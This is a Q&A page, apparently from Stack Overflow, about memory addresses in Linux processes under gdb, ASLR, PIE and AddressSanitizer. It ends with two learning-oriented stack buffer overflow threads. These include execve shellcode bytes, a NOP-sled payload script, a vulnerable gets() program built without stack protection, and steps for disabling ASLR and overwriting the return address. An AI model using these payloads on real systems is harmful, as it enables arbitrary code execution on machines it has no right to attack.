addresses in a 64-bit process on Linux [closed] - c

Closed. This question is not reproducible or was caused by typos. It is not currently accepting answers.
This question was caused by a typo or a problem that can no longer be reproduced. While similar questions may be on-topic here, this one was resolved in a way less likely to help future readers.
Closed 3 years ago.
Improve this question
I wrote a (to show the problem) a simple C-pgm which has a function func() in the source code and another function funcs() in a shared lib; the compilation is done with:
$ gcc -shared -fPIC -o libfuncs.so -m64 -g funcs.c
$ gcc -g -m64 -fPIC -o stack stack.c -L. -lfuncs
i.e. it's a 64-bit compiled phm and shared lib:
$ file stack libfuncs.so
stack: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.0.0, BuildID[sha1]=bf7a7e15181e110789a4ee0b237f3a8ec58d4823, not stripped
libfuncs.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=f1ffa166db952b92479c36169252e5ddff01e19e, not stripped
When I examine this with gdb I have the questions: Why the 64-bit addr char *p is shown as 0x400734 or after a malloc() as 0x602010, I would expect 8 bytes as it is for the char *p in the shared lib, shown as 0x7ffff7bd9609:
Breakpoint 1, main () at stack.c:12
12 char *p = "hello";
(gdb) n
14 p = (char *) malloc(10);
(gdb) p p
$1 = 0x400734 "hello"
(gdb) n
16 func(p, "foo");
(gdb) p p
$2 = 0x602010 ""
(gdb) s
func (p=0x602010 "", s=0x40073a "foo") at stack.c:25
25 char *a = "bla";
(gdb) n
27 }
(gdb) p a
$3 = 0x40073e "bla"
(gdb) n
main () at stack.c:17
17 funcs(p, "foo"); // this is a shared lib
(gdb) s
funcs (a=0x602010 "", b=0x40073a "foo") at funcs.c:8
8 char *p = "bar";
(gdb) n
10 }
(gdb) p p
$4 = 0x7ffff7bd9609 "bar"

When code runs under gdb, address space layout randomization is disabled for easier debugging and reproducibility. This makes it easier to pack all relevant allocation bits into the first 32 bit addresses.
There is nothing special about it, and with big-enough allocations you will start seeing higher addresses.
Try printing the pointers in the code, rather than in gdb, and see how it goes.
Note: assess space layout randomization does not necessarily mean that allocations can't reside in the lower 32 bit addresses, just that randomization takes part of the space. Also, it depends on the actual address randomization algorithm.

Related

gcc -O optimiziation doesn't detect heap overflow with unused variable

I know it must've been answered somewhere, but I didn't find any information regarding this strange behavior. I was just messing around with the heap, and when I executed the program with zero optimiziations, there was no error. I went to godbolt and it looks like there's no assembly instructions at all.
What happens to the code when you pass only -O without any level?
What's the difference between this and -O0, that by the way, works well?
int main(int argc, char **argv)
{
char* x = malloc(10);
char n = x[11];
}
$ gcc -O -g -fsanitize=address main.c -o main
$ ./main # No problems
gdb) info locals # Without -fsanitize=address
x = <optimized out>
n = <optimized out>
I went to godbolt and it looks like there's no assembly instructions at all
Indeed, GCC optimized out all your code because you do not use in any way. If you change it slightly then it will stay in generated assembly and AddressSanitizer will find heap overflow.
The following code generates AddressSanitizer heap-buffer-overflow error as you expect:
#include <stdio.h>
#include <stdlib.h>
int main(void)
{
char* x = malloc(10);
char n = x[11];
return n;
}
What happens to the code when you pass only -O without any level?
It's the same as -O1, "optimize a little bit"
What's the difference between this and -O0, that by the way, works well?
Since your code has no obvious side effects, it will be removed by the optimizer if enabled. This happens no matter if you invoke undefined behavior with x[11] or if you access a valid index x[0]. Writing to the x[0] item first to ensure it isn't indeterminate doesn't have any effect either.
-O0 explicitly disables optimizations, so you'll get some manner of machine code generated... maybe. The compiler doesn't have to generate anything predictable or meaningful in case your code contains undefined behavior.
There's generally no bounds-checking in C, it's the programmer's responsibility to handle it.
As for -fsanitize=address, add a side effect and it might kick in:
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char **argv)
{
char* x = malloc(10);
char n = x[11];
printf("%d\n", n);
}
Results in:
==1==ERROR: AddressSanitizer: heap-buffer-overflow on address-...
The docs answer both of your questions.
What happens to the code when you pass only -O without any level?
-O
-O1
Optimize. Optimizing compilation takes somewhat more time, and a lot more memory for a large function.
[...]
It enables optimizations.
What's the difference between this and -O0
-O0
Reduce compilation time and make debugging produce the expected results. This is the default.
As the default, it really does nothing at all.
In this mode, optimizations (or at least non-trivial ones) are effectively disabled.
Zero optimiziation doesn't detect heap overflow
On Compiler Explorer, you did enable optimizations (by using -O).
If you stop optimizing the variables away (by removing -O or by using -O0), you get the expected error.
<source>: In function 'main':
<source>:7:15: warning: unused variable 'n' [-Wunused-variable]
7 | char n = x[11];
| ^
<source>:7:15: warning: 'x[11]' is used uninitialized [-Wuninitialized]
7 | char n = x[11];
| ^
Program returned: 1
Program stderr
=================================================================
==1==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000001b at pc 0x0000004011a4 bp 0x7fffc6caef80 sp 0x7fffc6caef78
READ of size 1 at 0x60200000001b thread T0
#0 0x4011a3 in main /app/example.c:7
#1 0x7f88c4c140b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x240b2)
#2 0x40109d in _start (/app/output.s+0x40109d)
0x60200000001b is located 1 bytes to the right of 10-byte region [0x602000000010,0x60200000001a)
allocated by thread T0 here:
#0 0x7f88c4e9d1af in malloc (/opt/compiler-explorer/gcc-12.1.0/lib64/libasan.so.8+0xbb1af)
#1 0x401167 in main /app/example.c:6
#2 0x7f88c4c140b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x240b2)
[snip]
Demo on Compiler Explorer
The same would happen with optimizations if the program actually used n.

Why does my static variable get dis-aligned on running?

I'm writing tests for code to handle memory on powers-of-two boundaries, and I needed a 1MB block of memory on a 1MB boundary for the tests. The code worked for small blocks, but not big ones. Eventually, I worked out it was because my supposedly aligned data was not aligned to a 1MB boundary.
(I can work around this, obviously, but I want to know what's going on.)
This code compiles without warnings, objdump says the variable is at a reasonable address, but when I run it, it's aligned on a 4K boundary, not 1M.
cat x.c ; gcc --version ; uname -a ; gcc -Wall x.c && ( objdump -x a.out | grep test_data ; ./a.out )
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
struct data {
char memory[1024*1024];
};
static struct data __attribute__(( aligned( 0x100000 ) )) test_data = { 0 };
int main( int argc, const char **argv )
{
printf( "test_data is actually here: %p\n", &test_data );
return 0;
}
gcc (Ubuntu 7.4.0-1ubuntu1~18.04.1) 7.4.0
Copyright (C) 2017 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Linux Lubuntutu 4.15.0-72-generic #81-Ubuntu SMP Tue Nov 26 12:20:02 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
0000000000400000 l O .bss 0000000000100000 test_data
test_data is actually here: 0x5600cb9fe000
Running under gdb is interesting:
Reading symbols from ./a.out...done.
(gdb) display &test_data
1: &test_data = (struct data *) 0x400000 <test_data>
(gdb) start
Temporary breakpoint 1 at 0x659: file x.c, line 13.
Starting program: /tmp/a.out
Temporary breakpoint 1, main (argc=1, argv=0x7fffffffe038) at x.c:13
13 printf( "test_data is actually here: %p\n", &test_data );
1: &test_data = (struct data *) 0x555555954000 <test_data>
(gdb) print &test_data.memory[16]
$1 = 0x555555954010 <test_data+16> ""
(gdb) c
Continuing.
test_data is actually here: 0x555555954000
This is a loader, or possibly security module, feature.
The code has been moved in memory by a similar amount, presumably as part of address-space layout randomisation, but it is by a random number of 4k pages, which will break any coarser alignment requested by programs.
Linking the program statically stops that from happening, at least at the moment.

Address of Static Variables Changing at Runtime

I'm trying to figure out why the address of a static uint64_t arr[] changes when it's defined in the global scope inside the main executable.
It changes from 0x201060 (defined by the linker?) to 0x555555755060 at runtime, and I have no idea why.
Why does this happen, and is there a way I can prevent this behavior?
I have a precompiled binary that does not exhibit this behavior, and I am trying to emulate it.
$ gdb a.out # compiled from test.c
GNU gdb (GDB) 8.0.1...
Reading symbols from a.out...done.
(gdb) x/x arr
0x201060 <arr>: 0x00000024
(gdb) b main
Breakpoint 1 at 0x6e9: file test.c, line 116.
(gdb) run
Starting program: ...
Breakpoint 1, main (argc=1, argv=0x7fffffffdb28) at test.c:116
116 if(argc != 2) {
(gdb) x/x arr
0x555555755060 <arr>: 0x00000024
test.c was compiled with the following options: -g -fno-stack-protector -z execstack.
I compiled and ran test.c without ASLR (sudo bash -c 'echo 0 > /proc/sys/kernel/randomize_va_space'), but the result was the same.
The relevant parts of test.c are:
#include <stdint.h>
extern int func(uint64_t[]);
static uint64_t arr[] = {
0x00000024, 0x00201060,
0x00201080, 0x00000000,
0x00000008, 0x002010e0,
0x002010a0, 0x00000000,
0x00000032, 0x002010c0,
...
0x00201100, 0x00000000
};
int main(int argc, char** argv) {
func(arr);
return 0;
}
I figured it out :)
It turns out my gcc was outputting PIE executables by default, and passing -no-pie did what I needed. I made the array static in an attempt to keep the address the same, but I suppose that static only keeps the address the same during runtime.
Thank you to Mark Plotnick for your suggestion in the comments!

Unable to run stack buffer overflow exploit

I have to inject a code in the following buffer overflow program. The code should print the hostname. I have an opcode (\x31\xc0\x50\x68\x6e\x61\x6d\x65\x68\x68\x6f\x73\x74\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x54\x53\xb0\x0b\x50\xcd\x80) which works. I have used NOPs and repeated return address. But I'm not able to run the code with it and I always end up with a segmentation fault. Can anyone help me on this?
Vulnerable.c
#include <stdio.h>
#include <stdlib.h>
int
main(int argc, char * * argv)
{
char * stuff = 0;
int len = 0;
vulnerable();
return 0;
}
int
vulnerable(void)
{
char buf[100];
printf("enter your name: ");
fflush(stdout);
gets(buf);
printf("\"%s\"\n Welcome", buf );
}
I compiled the above program with
gcc -ggdb -mpreferred-stack-boundary=2 -fno-stack-protector -z execstack -o vulnerable vulnerable.c
Shellcode.py
print "\x90"*51 +"\x31\xc0\x50\x68\x6e\x61\x6d\x65\x68\x68\x6f\x73\x74\x68\x62\x69\x6e\x2f\x68\x2‌​f\x2f\x2f\x2f\x89\xe3\x50\x54\x53\xb0\x0b\x50\xcd\x80" + "\xd8\xf3\xff\xbf"*6
I have called this python program in command line by
python shellcode.py | ./vulnerable
I suggest you to turn on core dump:
ulimit -c unlimited
then do a simple buffer overflow like perl -e 'print "A"x130' and system will generate the dump: open it with gdb -c core and you will see %eip=0x41414141
Then you can reduce the buffer injected like perl -e 'print "A"x120' until you get exactly the size of buffer in order to overwrite RET.
Can you describe the steps to find out the return address?
c> shellcode.py >shellcode
c> gdb vulnerable
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i686-pc-linux-gnu"...
(gdb) b vulnerable
Breakpoint 1 at 0x80484e6: file vulnerable.c, line 17.
(gdb) r <shellcode
Starting program: /home/armali/bin/so/c/vulnerable <shellcode
Breakpoint 1, vulnerable () at vulnerable.c:17
17 printf("enter your name: ");
(gdb) info frame
Stack level 0, frame at 0xbffff7bc:
eip = 0x80484e6 in vulnerable (vulnerable.c:17); saved eip 0x80484c9
called by frame at 0xbffff7cc
source language c.
Arglist at 0xbffff7bc, args:
Locals at 0xbffff7bc, Previous frame's sp is 0x0
Saved registers:
ebp at 0xbffff7bc, eip at 0xbffff7c0
The example shows that the return address eip 0x80484c9 is saved at 0xbffff7c0.

How do I test out buffer overflows on a modern system?

I'm currently interested in learning how to do buffer overflows. I've done quite a bit of assembly, and understand how the stack works and how to implement a buffer overflow in C. However, I'm running across quite a bit of trouble trying to get GCC 4.9.1 to allow me to overflow a buffer properly. I'm running Debian Jessie.
Here is the tutorial that I'm attempting to follow, in section 2.2. I've copy/pasted the C program he provides, and I'm using the same Perl script that he is, so everything is the exact same as his case (except the system, of course).
These are the results that I'm getting consistently:
~/projects/buffer-overflow$ ls
run.pl test.c
~/projects/buffer-overflow$ sudo su
root#wash# echo "0" > /proc/sys/kernel/randomize_va_space
root#wash# exit
exit
~/projects/buffer-overflow$ gcc -m32 -fno-stack-protector -zexecstack test.c
~/projects/buffer-overflow$ ./run.pl
Address of foo = 0x804845b
Address of bar = 0x80484a4
My stack looks like:
(nil)
0xffffd4a8
0xf7e58b2f
0xf7fb3ac0
0x8048657
0xffffd494
ABCDEFGHIJKLMNOPP#
Now the stack looks like:
0xffffd718
0xffffd4a8
0xf7e58b2f
0xf7fb3ac0
0x42418657
0x46454443
That Perl script isn't particularly useful here, different systems will use different addresses, so let's do it without the script...
First of all, find out the exact number of bytes needed to overwrite the return address. We can do this with GDB and Perl:
(gdb) run `perl -e 'print "A" x 26';`
Address of foo = 0x804845b
Address of bar = 0x80484a5
My stack looks like:
0xf7fb1000
0xffffdab8
0xf7e44476
0xf7fb1d60
0x8048647
0xffffdaa8
AAAAAAAAAAAAAAAAAAAAAAAAAA
Now the stack looks like:
0xffffdcbb
0xffffdab8
0xf7e44476
0xf7fb1d60
0x41418647
0x41414141
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
As you can see, 26 bytes will overwrite the EIP, so by replacing the last four "A" characters with our bar() function address (don't forget to put it in little endian format), we should have success:
(gdb) run `perl -e 'print "A" x 22';``perl -e 'print "\xa5\x84\x04\x8"';`
Address of foo = 0x804845b
Address of bar = 0x80484a5
My stack looks like:
0xf7fb1000
0xffffdab8
0xf7e44476
0xf7fb1d60
0x8048647
0xffffdaa8
AAAAAAAAAAAAAAAAAAAAAA��
Now the stack looks like:
0xffffdcbb
0xffffdab8
0xf7e44476
0xf7fb1d60
0x41418647
0x41414141
Augh! I've been hacked!
Program received signal SIGSEGV, Segmentation fault.
0xffffdc06 in ?? ()
As you can see, we successfully returned to function bar().
I would try either -fno-stack-protector-all (adding -all) and other -O? options, cause some optimizations turns on some -fxxx.

Resources